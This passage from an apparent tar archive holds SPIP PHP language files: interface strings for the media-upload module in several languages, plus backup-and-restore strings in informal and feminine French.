'bouton_ajouter_image_document' => '添加图片或文件',
// E
'entree_dimensions' => '大小:',
'entree_titre_document' => '文件标题:',
'entree_titre_image' => '图像标题:',
// I
'image_tourner_180' => '旋转180°',
'image_tourner_droite' => '向右旋转90° ',
'image_tourner_gauche' => '向左旋转 90°',
'info_document' => '文档',
'info_document_indisponible' => '无法获得此文件', # MODIF
'info_documents' => '文件',
'info_inclusion_directe' => '直接包含:',
'info_inclusion_vignette' => '包含小插图:',
'info_installer_tous_documents' => '安装所有文档',
'info_logo_max_taille' => '标志不得超过 @maxi@ (目前的文件大小为@actuel@).',
'info_portfolio' => '相册',
'info_telecharger' => '从你的电脑上传:',
// T
'texte_documents_joints' => '您可以允许添加文档 (office 文件, 图像, 多媒体等.) 到文章和专栏. 这些文档能在文章中引用或单独显示.<p>', # MODIF
'texte_documents_joints_2' => '这个设置不阻止直接插入图片到文件.', # MODIF
'titre_documents_joints' => '附加文档',
// U
'upload_fichier_zip' => '压缩文件ZIP',
'upload_fichier_zip_texte' => '您建议安装的文件是ZIP格式压缩文件。',
'upload_fichier_zip_texte2' => '该文件可以被：',
'upload_limit' => '该文件的大小超过了服务器允许的范围，服务器允许<i>upload</i>的最大文件是 @max@.',
'upload_zip_decompacter' => '已被解压，并且其中的所有文件均被安装到网站。将被安装到网站的文件如下：',
'upload_zip_telquel' => '照原样安装，仍以 Zip压缩文档格式;'
);
?>
medias_cs.php 0000666 00000004543 15252255273 0007226 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/medias?lang_cible=cs
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_ajouter_document' => 'PŘIDAT DOKUMENT',
'bouton_ajouter_image' => 'PŘIDAT OBRÁZEK',
'bouton_ajouter_image_document' => 'Přidat obrázek nebo dokument',
// D
'double_clic_inserer_doc' => 'Tuto zkratku vložíte do textu poklepáním',
// E
'entree_dimensions' => 'Velikost:',
'entree_titre_document' => 'Název dokumentu:',
'entree_titre_image' => 'Název obrázku:',
// I
'image_tourner_180' => 'Otočit o 180°',
'image_tourner_droite' => 'Otočit o 90° doprava',
'image_tourner_gauche' => 'Otočit o 90° doleva',
'info_document' => 'Dokument',
'info_documents' => 'Dokumenty',
'info_inclusion_directe' => 'Přímé vložení:',
'info_inclusion_vignette' => 'Vložit náhled:',
'info_installer_tous_documents' => 'Instalovat všechny dokumenty',
'info_logo_max_taille' => 'Logo nesmí být větší než @maxi@ (tento soubor má velikost @actuel@).',
'info_portfolio' => 'Portfolio',
'info_referencer_doc_distant' => 'Odkaz na dokument na internetu:',
'info_telecharger' => 'Odeslat z počítače:',
// T
'texte_documents_joints' => 'Můžete povolit přidávání dokumentů (textových a jiných souborů, obrázků, multimédii atd.),
a to jak k článkům tak i k sekcím. Na tyto soubory pak můžete v článcích
odkazovat, případně je můžete zobrazovat samostatně.', # MODIF
'texte_documents_joints_2' => 'I při tomto nastavení můžete vkládat obrázky přímo do článků.', # MODIF
'titre_documents_joints' => 'Připojené dokumenty',
'tout_dossier_upload' => 'Celá složka @upload@',
// U
'upload_fichier_zip' => 'Komprimovaný soubor ZIP',
'upload_fichier_zip_texte' => 'Chcete nainstalovat komprimovaný soubor ZIP.',
'upload_fichier_zip_texte2' => 'Tento soubor může být:',
'upload_limit' => 'Soubor je pro server příliš velký. Maximální povolená velikost pro <i>odeslání</i> je @max@.',
'upload_zip_decompacter' => 'rozbalený a každý ze souborů v něm obsažený bude na web nainstalován. Budou nainstalovány tyto soubory:',
'upload_zip_telquel' => 'nainstalovat tak, jak je, tedy ve formátu ZIP;'
);
?>
medias_oc_lms.php 0000666 00000004556 15252255273 0010101 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/medias?lang_cible=oc_lms
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_ajouter_document' => 'APONDRE UN DOCUMENT', # MODIF
'bouton_ajouter_image' => 'APONDRE UN IMATGE', # MODIF
// D
'double_clic_inserer_doc' => 'Besclicatz per inserir quela escorchiera dins lo text.',
// E
'entree_dimensions' => 'Dimensions:',
'entree_titre_document' => 'Títol dau document:',
'entree_titre_image' => 'Títol de l’imatge:',
// I
'image_tourner_180' => 'Rotacion 180°',
'image_tourner_droite' => 'Rotacion 90° vers la drecha',
'image_tourner_gauche' => 'Rotacion 90° vers la mança',
'info_document' => 'Document ',
'info_documents' => 'Documents',
'info_inclusion_directe' => 'Inclusion directa:',
'info_inclusion_vignette' => 'Inclusion de la vinheta:',
'info_installer_tous_documents' => 'Installar tots los documents ',
'info_logo_max_taille' => 'Los lògos an de far mens de @maxi@ (queste fichier fai @actuel@).',
'info_portfolio' => 'Pòrtfòlio',
'info_referencer_doc_distant' => 'Referenciar un document dins l’Internet:',
'info_telecharger' => 'Telecharjar a partir de vòstre ordenador:',
// T
'texte_documents_joints' => 'Podetz autorizar que s’apondan daus documents (fichiers burotics, imatges,
multimèdia, etc.) aus articles e/o a las rubricas. Quilhs fichiers
pòden puei èsser referenciats dins
l’article, o aparéisser a part.<p>', # MODIF
'texte_documents_joints_2' => 'Queu reglatge empacha pas d’inserir daus imatges directament dins los articles.', # MODIF
'titre_documents_joints' => 'Documents jonchs',
'tout_dossier_upload' => 'Tot lo dorsier @upload@',
// U
'upload_fichier_zip' => 'Fichier ZIP',
'upload_fichier_zip_texte' => 'Lo fichier que prepausatz d’installar es un fichier Zip.',
'upload_fichier_zip_texte2' => 'Queu fichier pòt èsser:',
'upload_limit' => 'Queu fichier es tròp gròs per lo servidor; la talha maxima autorizada en <i>upload</i> es de @max@.',
'upload_zip_decompacter' => 'descomprimit e chasque element que conten installat sus lo sit. Laidonc los fichiers que serán installats sus lo sit son:',
'upload_zip_telquel' => 'installat tau coma es, coma archiu comprimit Zip;'
);
?>
paquet-medias_fr.php 0000666 00000000573 15252255273 0010524 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// Fichier source, a modifier dans svn://zone.spip.org/spip-zone/_core_/plugins/medias/lang/
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// M
'medias_description' => 'Gestion des médias de SPIP',
'medias_slogan' => 'Gestion des médias dans SPIP'
);
?>
medias_co.php 0000666 00000005636 15252255273 0007226 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/medias?lang_cible=co
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_ajouter_document' => 'Aghjunghje un ducumentu',
'bouton_ajouter_image' => 'Aghjunghje un’imàgine',
'bouton_ajouter_image_document' => 'Aghjunghje un’imàgine o un ducumentu',
// D
'double_clic_inserer_doc' => 'Doppiucliccà per inserisce l’accurtatoghju in u testu',
// E
'entree_dimensions' => 'Taglia :',
'entree_titre_document' => 'Tìtulu di u ducumentu :',
'entree_titre_image' => 'Tìtulu di l’imàgine :',
// I
'image_tourner_180' => 'Giramentu 180°',
'image_tourner_droite' => 'Giramentu 90° à diritta',
'image_tourner_gauche' => 'Giramentu 90° à manca',
'info_document' => 'Ducumentu',
'info_document_indisponible' => 'ùn hè micca dispunìbule stu ducumentu',
'info_documents' => 'Ducumenti',
'info_inclusion_directe' => 'Inclusione diretta :',
'info_inclusion_vignette' => 'Inclusione di a figuretta :',
'info_installer_tous_documents' => 'Stallà tutti i ducumenti',
'info_logo_max_taille' => 'I logos devenu per forza pisà di menu di @maxi@ (stu schedariu pesa @actuel@).',
'info_portfolio' => 'Purtafogliu',
'info_referencer_doc_distant' => 'Riferì un ducumentu nant’à Internet :',
'info_telecharger' => 'Scaricà da u vostru urdinatore :',
'item_autoriser_selectionner_date_en_ligne' => 'Permette a mudìfica di data d’ogni ducumentu',
'item_non_autoriser_selectionner_date_en_ligne' => 'A data di i ducumenti hè quella chì sò stati aghjunti à u situ.',
// T
'texte_documents_joints' => 'Pudete puru auturizà l’aghjunta di ducumenti (schedari di testu, fogli excel, imàgini, multimedia, ecc.)
à l’artìculi è/o à a rùbbriche. Sti schedari ponu esse dopu riferiti in u testu di l’artìculu, o visti ancu da fora.', # MODIF
'texte_documents_joints_2' => 'Stu paràmetru ùn impedisce mancu appena l’inserimentu direttu d’imàgini in l’artìculi.', # MODIF
'titre_documents_joints' => 'Ducumenti alleati',
'tout_dossier_upload' => 'Tuttu u cartulare @upload@',
// U
'upload_fichier_zip' => 'Schedariu ZIP',
'upload_fichier_zip_texte' => 'U schedariu prupostu hè un schedariu ZIP.',
'upload_fichier_zip_texte2' => 'Stu schedariu pò esse :',
'upload_limit' => 'Stu chedariu hè troppu pisivu per u servore; A taglia màsima auturizata per l’<i>upload</i> vale @max@.',
'upload_zip_conserver' => 'Tene si l’archiviu dopu estrazzione', # MODIF
'upload_zip_decompacter' => 'scumpressu è ogni elementu ch’ellu cuntene stallatu nant’à u situ. I schedari stallati tandu nant’à u situ seranu :',
'upload_zip_telquel' => 'stallatu cusì, in tantu chì archiviu cumpressu è zip;',
'upload_zip_titrer' => 'Intitulà secondu u nome di i schedari'
);
?>
medias_oc_ni.php 0000666 00000004637 15252255273 0007714 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/medias?lang_cible=oc_ni
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_ajouter_document' => 'Ajustar un document',
'bouton_ajouter_image' => 'Ajustar un imatge',
// D
'double_clic_inserer_doc' => 'Besclicatz per inserir aquela escorcha dins lo tèxt.',
// E
'entree_dimensions' => 'Dimensions:',
'entree_titre_document' => 'Titre dau document:',
'entree_titre_image' => 'Titre de l’imatge:',
// I
'image_tourner_180' => 'Rotacion 180°',
'image_tourner_droite' => 'Rotacion 90° à drecha',
'image_tourner_gauche' => 'Rotacion 90° à senèca',
'info_document' => 'Document ',
'info_document_indisponible' => 'Aqueu document es pas disponible',
'info_documents' => 'Documents',
'info_inclusion_directe' => 'Inclusion dirècta :',
'info_inclusion_vignette' => 'Inclusion de la vinheta:',
'info_installer_tous_documents' => 'Installar toi lu documents',
'info_logo_max_taille' => 'Lu lògos devon obligatòriament faire mens de @maxi@ (aquèu fichier fa @actuel@).',
'info_portfolio' => 'Poartfolio',
'info_referencer_doc_distant' => 'Referençar un document sus l’internet :',
'info_telecharger' => 'Telecargar despí lo voastre ordinator :',
// T
'texte_documents_joints' => 'Podètz autorisar l’ajust de documents (fichiers burotics, imatges,
multimèdia, eca.) ai articles e/ò ai rubricas. Aquelu fichiers
poadon pi èstre referençats dins l’article, ò aparéisser à despart.', # MODIF
'texte_documents_joints_2' => 'Aqueu reglatge empedisse pas l’insercion d’imatges directament dins lu articles.', # MODIF
'titre_documents_joints' => 'Documents jonchs',
'tout_dossier_upload' => 'Tot lo dorsier @upload@',
// U
'upload_fichier_zip' => 'Fichier ZIP',
'upload_fichier_zip_texte' => 'Lo fichier que prepausatz d’installar es un fichier ZIP.',
'upload_fichier_zip_texte2' => 'Aquèu fichier pòu èstre :',
'upload_limit' => 'Aquèu fichier es tròp gròs per lo servidor; la talha maximala autorisada en <i>upload</i> es de @max@.',
'upload_zip_decompacter' => 'descomprimit e cada element que conten installat sus lo sit. Alora lu fichiers que seràn installats sus lo sit son :',
'upload_zip_telquel' => 'installat tau quau, coma archiu comprimit Zip;'
);
?>
medias_ca.php 0000666 00000013040 15252255273 0007174 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/medias?lang_cible=ca
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'aucun_audio' => 'No hi ha banda sonora', # MODIF
'aucun_document' => 'Cap document',
'aucun_file' => 'Cap document',
'aucun_image' => 'Cap imatge',
'aucun_video' => 'Cap seqüència',
'aucune_utilisation' => 'Aquest document no s’ha utilitzat',
'aucune_vignette' => 'Cap miniatura',
// B
'bouton_ajouter_document' => 'Afegir un document',
'bouton_ajouter_image' => 'Afegir una imatge',
'bouton_ajouter_image_document' => 'Afegir una imatge o un document',
'bouton_attacher_document' => 'Lligar',
'bouton_copier_local' => 'Copiar al lloc',
'bouton_download_depuis' => 'des de:',
'bouton_download_local' => 'el meu ordinador',
'bouton_download_par_ftp' => 'el servidor',
'bouton_download_par_mediatheque' => 'la mediateca', # MODIF
'bouton_download_sur_le_web' => 'Internet',
'bouton_enlever_document' => 'Separar', # MODIF
'bouton_enlever_supprimer_document' => 'Suprimir',
'bouton_enlever_supprimer_document_confirmation' => 'Esteu segur que voleu suprimir el document?', # MODIF
'bouton_modifier_document' => 'Modificar',
'bouton_parcourir' => 'Examinar...', # MODIF
'bouton_refresh_document' => 'Actualitzar el document', # MODIF
'bouton_remplacer_document' => 'Substituir aquest document',
'bouton_remplacer_image' => 'Substituir aquesta imatge',
'bouton_remplacer_image_document' => 'Substituir per una imatge o un document',
'bouton_supprimer' => 'Suprimir',
'bouton_supprimer_tous_orphelins' => 'Suprimir tots els orfes',
'bouton_supprimer_tous_orphelins_confirmation' => 'Esteu segur de voler suprimir @nb@ orfes?', # MODIF
'bouton_upload' => 'Descarregar', # MODIF
// D
'des_audios' => '@nb@ bandes sonores', # MODIF
'des_documents' => '@nb@ documents',
'des_files' => '@nb@ documents',
'des_images' => '@nb@ imatges',
'des_utilisations' => '@nb@ usos',
'des_videos' => '@nb@ seqüències',
'descriptif' => 'Descripció',
'document_attache_succes' => 'El document s’ha afegit correctament',
'document_copie_locale_succes' => 'El fitxer s’ha copiat al lloc correctament',
'document_installe_succes' => 'El fitxer s’ha carregat correctament',
'document_vu' => 'Inserir al text',
'documents' => 'Mediateca', # MODIF
'documents_brises' => 'Trencats',
'documents_distants' => 'Distants',
'documents_locaux' => 'Locals',
'documents_non_publies' => 'No publicats',
'documents_orphelins' => 'Inutilitzats',
'documents_publies' => 'Publicats',
'documents_tous' => 'Tots',
'double_clic_inserer_doc' => 'Feu un doble clic per inserir aquesta drecera en el text',
// E
'entree_dimensions' => 'Dimensions:',
'entree_titre_document' => 'Títol del document:',
'entree_titre_image' => 'Títol de la imatge:',
'erreur_aucun_document' => 'Aquest document no existeix a la mediateca', # MODIF
'erreur_aucun_fichier' => 'No s’ha trobat cap fitxer',
'erreur_chemin_distant' => 'El fitxer distant @nom@ no s’ha pogut trobar',
'erreur_chemin_ftp' => 'El fitxer indicat no s’ha trobat al servidor',
'erreur_copie_fichier' => 'Impossible copiar el fitxer @nom@',
'erreur_dossier_tmp_manquant' => 'Falta una carpeta temporal per descarregar els fitxers ',
'erreur_ecriture_fichier' => 'Error durant l’escriptura del fitxer al disc',
// I
'image_tourner_180' => 'Girar 180°',
'image_tourner_droite' => 'Girar 90° cap a la dreta',
'image_tourner_gauche' => 'Girar 90° cap a l’esquerre',
'info_document' => 'Document',
'info_document_indisponible' => 'Aquest document no està disponible',
'info_documents' => 'Documents',
'info_inclusion_directe' => 'Inclusió directa:',
'info_inclusion_vignette' => 'Inclusió de la icona:',
'info_installer_tous_documents' => 'Instal·lar tots els documents',
'info_logo_max_taille' => 'Els logotips han de fer obligatòriament menys de @maxi@ (aquest fitxer fa @actuel@).',
'info_portfolio' => 'Carpeta',
'info_referencer_doc_distant' => 'Referenciar un document a Internet :',
'info_telecharger' => 'Carregar des del vostre ordinador:',
'item_autoriser_selectionner_date_en_ligne' => 'Permitir la modificación de la fecha de cada documento',
'item_non_autoriser_selectionner_date_en_ligne' => 'La data dels documents és la de quan han estat afegits al lloc',
// T
'texte_documents_joints' => 'Es pot permetre afegir documents (fitxers ofimàtics, imatges, multimèdia, etc.) als articles i/o a les seccions. Aquests fitxers poden estar referenciats a dins l’article, o mostrats separadament.</p>', # MODIF
'texte_documents_joints_2' => 'Aquesta regla no impideix pas l’inserció d’imatges directament als articles.', # MODIF
'titre_documents_joints' => 'Documents adjunts',
'tout_dossier_upload' => 'Tot el directori @upload@',
// U
'upload_fichier_zip' => 'Fitxer ZIP',
'upload_fichier_zip_texte' => 'El fitxer que voleu instal·lar és un fitxer Zip.',
'upload_fichier_zip_texte2' => 'El fitxer pot ser:',
'upload_limit' => 'El fitxer és massa gran pel servidor; la mida màxima autoritzada en <i>upload</i> és de @max@.',
'upload_zip_conserver' => 'Conservar l’arxiu desprès de l’extracció', # MODIF
'upload_zip_decompacter' => 'descomprimit i cada element que conté instal·lat en el lloc Web. Els fitxers que llavors seran instal·lat en el lloc Web són:',
'upload_zip_telquel' => 'instal·lat tal qual, com a arxiu comprimit Zip;',
'upload_zip_titrer' => 'Titular segons el nom dels fitxers'
);
?>
medias_oc_lnc.php 0000666 00000004661 15252255273 0010057 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/medias?lang_cible=oc_lnc
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_ajouter_document' => 'APONDRE UN DOCUMENT', # MODIF
'bouton_ajouter_image' => 'APONDRE UN IMATGE', # MODIF
// D
'double_clic_inserer_doc' => 'Besclicatz per inserir aquela acorcha dins lo tèxt.',
// E
'entree_dimensions' => 'Dimensions:',
'entree_titre_document' => 'Títol del document:',
'entree_titre_image' => 'Títol de l’imatge:',
// I
'image_tourner_180' => 'Rotacion 180°',
'image_tourner_droite' => 'Rotacion 90° cap a drecha',
'image_tourner_gauche' => 'Rotacion 90° cap a esquerra',
'info_document' => 'Document ',
'info_document_indisponible' => 'Aquel document es pas disponible',
'info_documents' => 'Documents',
'info_inclusion_directe' => 'Inclusion dirècta:',
'info_inclusion_vignette' => 'Inclusion de la vinheta:',
'info_installer_tous_documents' => 'Installar totes los documents ',
'info_logo_max_taille' => 'Los lògos an de far mens de @maxi@ (aqueste fichièr fa @actuel@).',
'info_portfolio' => 'Pòrtfòlio',
'info_referencer_doc_distant' => 'Referenciar un document dins l’Internet:',
'info_telecharger' => 'Telecargar a partir de vòstre ordenador:',
// T
'texte_documents_joints' => 'Podètz autorizar que s’apondan de documents (fichièrs burotics, imatges,
multimèdia, etc.) als articles e/o a las rubricas. Aqueles fichièrs
pòdon puèi èsser referenciats dins
l’article, o aparéisser a despart.', # MODIF
'texte_documents_joints_2' => 'Aquel reglatge empacha pas d’inserir d’imatges dirèctament dins los articles.', # MODIF
'titre_documents_joints' => 'Documents jonches',
'tout_dossier_upload' => 'Tot lo dorsièr @upload@',
// U
'upload_fichier_zip' => 'Fichièr ZIP',
'upload_fichier_zip_texte' => 'Lo fichièr que prepausatz d’installar es un fichièr Zip.',
'upload_fichier_zip_texte2' => 'Aquel fichièr pòt èsser:',
'upload_limit' => 'Aquel fichièr es tròp gròs pel servidor; la talha maxima autorizada en <i>upload</i> es de @max@.',
'upload_zip_decompacter' => 'descomprimit e cada element que conten installat sul sit. Alara los fichièrs que seràn installats sul sit son:',
'upload_zip_telquel' => 'installat tal coma es, coma archiu comprimit Zip;'
);
?>
medias_my.php 0000666 00000007711 15252255273 0007246 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/medias?lang_cible=my
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_ajouter_document' => 'စာရွက်စာတမ်းထည့်ရန်', # MODIF
'bouton_ajouter_image' => 'ပုံထည့်သွင်းရန်', # MODIF
// D
'double_clic_inserer_doc' => 'စာသားထဲတွင် အတိုကောက်ကိုထည့်ရန် နှစ်ချက်နှိပ်ပါ',
// E
'entree_dimensions' => 'အရွယ်အစား',
'entree_titre_document' => 'စာမျက်နှာ ခေါင်းစဉ်',
'entree_titre_image' => 'ရုပ်ပုံခေါင်းစဉ်',
// I
'image_tourner_180' => '၁၈ဝ° လှည့်ရန်',
'image_tourner_droite' => '၉ဝ° ညာလှည့်ရန်',
'image_tourner_gauche' => '၉ဝ° ဘယ်လှည့်ရန်',
'info_document' => 'စာရွက်စာတမ်း',
'info_documents' => 'စာရွက်စာတမ်းများ',
'info_inclusion_directe' => 'တိုက်ရိုက်ထပ်ထည့်ရန်',
'info_inclusion_vignette' => 'ဒီဇိုင်းပါဝင်သည်',
'info_installer_tous_documents' => 'စာရွက်စာတမ်းများ အားလုံးကို ထည့်သွင်းပါ',
'info_logo_max_taille' => 'Logo များ၏ အရွယ်အစားဟာ @maxi@ အောက်ရှိရပါမယ် (ဒီဖိုင်ဟာ @actuel@ရှိပါတယ်)',
'info_portfolio' => 'ရွေးချယ်မှု',
'info_referencer_doc_distant' => 'အင်တာနက်ရှိ မှတ်တမ်းတခုကို ကိုးကားပါ',
'info_telecharger' => 'သင့်ကွန်ပျူတာမှ တင်သွင်းပါ',
// T
'texte_documents_joints' => 'ဆောင်းပါးများ/စာရွက်စာတမ်းများ (ရုံးစာများ၊ ဓါတ်ပုံများ၊ ရုပ်သံဆိုင်ရာ စသည့်) ကို ထပ်မံပေါင်းထည့်နိုင်သည်။ ဤဖိုင်များသည် ဆောင်းပါးထဲ သို့ ပြင်ပတွင် အညွှန်းအဖြစ်ဖော်ပြပါမည်။', # MODIF
'texte_documents_joints_2' => 'ဤဆက်တင်တွင် ဆောင်းပါးအတွင်း ပုံတိုက်ရိုက်ထည့်သွင်းခြင်းကိုရပ်၍မရပါ', # MODIF
'titre_documents_joints' => 'စာရွက်စာတမ်းများတွဲပါ',
'tout_dossier_upload' => '@နောက်ထပ်@ အညွှန်းတစ်ခုလုံး',
// U
'upload_fichier_zip' => 'ကျစ်လစ်ထားသောဖိုင်',
'upload_fichier_zip_texte' => 'ထည့်သွင်းလိုသောဖိုင်သည် ကျစ်လစ်ထားသည်',
'upload_fichier_zip_texte2' => 'ဤဖိုင်ဖြစ်နိုင်ချေရှိသည်',
'upload_limit' => 'ဤဖိုင်သည် ဆာဗာသို့ထည့်သွင်းရန် အလွန်ကြီးသည်၊ အကြီးဆုံး @max@ သာလက်ခံနိုင်သည်',
'upload_zip_decompacter' => 'ကျစ်လစ်ထားသောဖိုင်များ ပြန်ဖြေ၍ တစ်ခုခြင်းကို ဆာဗာထဲသို့ထည့်သွင်းမည့် ဖိုင်များမှာ',
'upload_zip_telquel' => 'ကျစ်လစ်ဖိုင် အဖြစ်ဖြင့် ထည့်သွင်းထားသည်'
);
?>
dump_fr_tu.php 0000666 00000007715 15252540315 0007441 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/dump?lang_cible=fr_tu
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'aucune_donnee' => 'vide',
'avis_probleme_ecriture_fichier' => 'Problème d’écriture du fichier @fichier@',
// B
'bouton_restaurer_base' => 'Restaurer la base',
// C
'confirmer_ecraser_base' => 'Oui, je veux écraser ma base avec cette sauvegarde',
'confirmer_ecraser_tables_selection' => 'Oui, je veux écraser les tables sélectionnées avec cette sauvegarde',
// D
'details_sauvegarde' => 'Détails de la sauvegarde :',
// E
'erreur_aucune_donnee_restauree' => 'Aucune donnée restaurée',
'erreur_connect_dump' => 'Un serveur nommé « @dump@ » existe déjà. Renomme-le.',
'erreur_creation_base_sqlite' => 'Impossible de créer une base SQLite pour la sauvegarde',
'erreur_nom_fichier' => 'Ce nom de fichier n’est pas autorisé',
'erreur_restaurer_verifiez' => 'Corrige l’erreur pour pouvoir restaurer.',
'erreur_sauvegarde_deja_en_cours' => 'Tu as déjà une sauvegarde en cours',
'erreur_sqlite_indisponible' => 'Impossible de faire une sauvegarde SQLite sur votre hébergement',
'erreur_table_absente' => 'Table @table@ absente',
'erreur_table_donnees_manquantes' => 'Table @table@, données manquantes',
'erreur_taille_sauvegarde' => 'La sauvegarde semble avoir échoué. Le fichier @fichier@ est vide ou absent.',
// I
'info_aucune_sauvegarde_trouvee' => 'Aucune sauvegarde trouvée',
'info_restauration_finie' => 'C’est fini ! La sauvegarde @archive@ a été restaurée dans votre site. Tu peux',
'info_restauration_sauvegarde' => 'Restauration de la sauvegarde @archive@',
'info_sauvegarde' => 'Sauvegarde',
'info_sauvegarde_reussi_02' => 'La base a été sauvegardée dans @archive@. Tu peux',
'info_sauvegarde_reussi_03' => 'retourner à la gestion',
'info_sauvegarde_reussi_04' => 'de ton site.',
'info_selection_sauvegarde' => 'Tu as choisi de restaurer la sauvegarde @fichier@. Cette opération est irréversible.',
// L
'label_nom_fichier_restaurer' => 'Ou indique le nom du fichier à restaurer',
'label_nom_fichier_sauvegarde' => 'Nom du fichier pour la sauvegarde',
'label_selectionnez_fichier' => 'Sélectionne un fichier dans la liste',
// N
'nb_donnees' => '@nb@ enregistrements',
// R
'restauration_en_cours' => 'Restauration en cours',
// S
'sauvegarde_en_cours' => 'Sauvegarde en cours',
'sauvegardes_existantes' => 'Sauvegardes existantes',
'selectionnez_table_a_restaurer' => 'Sélectionne les tables à restaurer',
// T
'texte_admin_tech_01' => 'Cette option te permet de sauvegarder le contenu de la base dans un fichier qui sera stocké dans le répertoire @dossier@.N’oublie pas également de récupérer l’intégralité du répertoire @img@, qui contient les images et les documents utilisés dans les articles et les rubriques.',
'texte_admin_tech_02' => 'Attention : cette sauvegarde ne pourra être restaurée QUE dans un site installé sous la même version de SPIP. Il ne faut donc surtout pas « vider la base » en espérant réinstaller la sauvegarde après une mise à jour… Consulte <a href="@spipnet@">la documentation de SPIP</a>.',
'texte_restaurer_base' => 'Restaurer le contenu d’une sauvegarde de la base',
'texte_restaurer_sauvegarde' => 'Cette option te permet de restaurer une sauvegarde précédemment effectuée de la base. À cet effet, le fichier contenant la sauvegarde doit avoir été placé dans le répertoire @dossier@.
Sois prudent avec cette fonctionnalité : <b>les modifications, pertes éventuelles, sont irréversibles.</b>',
'texte_sauvegarde' => 'Sauvegarder le contenu de la base',
'texte_sauvegarde_base' => 'Sauvegarder la base',
'tout_restaurer' => 'Restaurer toutes les tables',
'tout_sauvegarder' => 'Sauvegarder toutes les tables',
// U
'une_donnee' => '1 enregistrement'
);
?>
dump_fr_fem.php 0000666 00000007767 15252540315 0007567 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/dump?lang_cible=fr_fem
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'aucune_donnee' => 'vide',
'avis_probleme_ecriture_fichier' => 'Problème d’écriture du fichier @fichier@',
// B
'bouton_restaurer_base' => 'Restaurer la base',
// C
'confirmer_ecraser_base' => 'Oui, je veux écraser ma base avec cette sauvegarde',
'confirmer_ecraser_tables_selection' => 'Oui, je veux écraser les tables sélectionnées avec cette sauvegarde',
// D
'details_sauvegarde' => 'Détails de la sauvegarde :',
// E
'erreur_aucune_donnee_restauree' => 'Aucune donnée restaurée',
'erreur_connect_dump' => 'Un serveur nommé « @dump@ » existe déjà. Renommez-le.',
'erreur_creation_base_sqlite' => 'Impossible de créer une base SQLite pour la sauvegarde',
'erreur_nom_fichier' => 'Ce nom de fichier n’est pas autorisé',
'erreur_restaurer_verifiez' => 'Corrigez l’erreur pour pouvoir restaurer.',
'erreur_sauvegarde_deja_en_cours' => 'Vous avez déjà une sauvegarde en cours',
'erreur_sqlite_indisponible' => 'Impossible de faire une sauvegarde SQLite sur votre hébergement',
'erreur_table_absente' => 'Table @table@ absente',
'erreur_table_donnees_manquantes' => 'Table @table@, données manquantes',
'erreur_taille_sauvegarde' => 'La sauvegarde semble avoir échoué. Le fichier @fichier@ est vide ou absent.',
// I
'info_aucune_sauvegarde_trouvee' => 'Aucune sauvegarde trouvée',
'info_restauration_finie' => 'C’est fini !. La sauvegarde @archive@ a été restaurée dans votre site. Vous pouvez',
'info_restauration_sauvegarde' => 'Restauration de la sauvegarde @archive@',
'info_sauvegarde' => 'Sauvegarde',
'info_sauvegarde_reussi_02' => 'La base a été sauvegardée dans @archive@. Vous pouvez',
'info_sauvegarde_reussi_03' => 'retourner à la gestion',
'info_sauvegarde_reussi_04' => 'de votre site.',
'info_selection_sauvegarde' => 'Vous avez choisi de restaurer la sauvegarde @fichier@. Cette opération est irréversible.',
// L
'label_nom_fichier_restaurer' => 'Ou indiquez le nom du fichier à restaurer',
'label_nom_fichier_sauvegarde' => 'Nom du fichier pour la sauvegarde',
'label_selectionnez_fichier' => 'Sélectionnez un fichier dans la liste',
// N
'nb_donnees' => '@nb@ enregistrements',
// R
'restauration_en_cours' => 'Restauration en cours',
// S
'sauvegarde_en_cours' => 'Sauvegarde en cours',
'sauvegardes_existantes' => 'Sauvegardes existantes',
'selectionnez_table_a_restaurer' => 'Sélectionnez les tables à restaurer',
// T
'texte_admin_tech_01' => 'Cette option vous permet de sauvegarder le contenu de la base dans un fichier qui sera stocké dans le répertoire @dossier@. N’oubliez pas également de récupérer l’intégralité du répertoire @img@, qui contient les images et les documents utilisés dans les articles et les rubriques.',
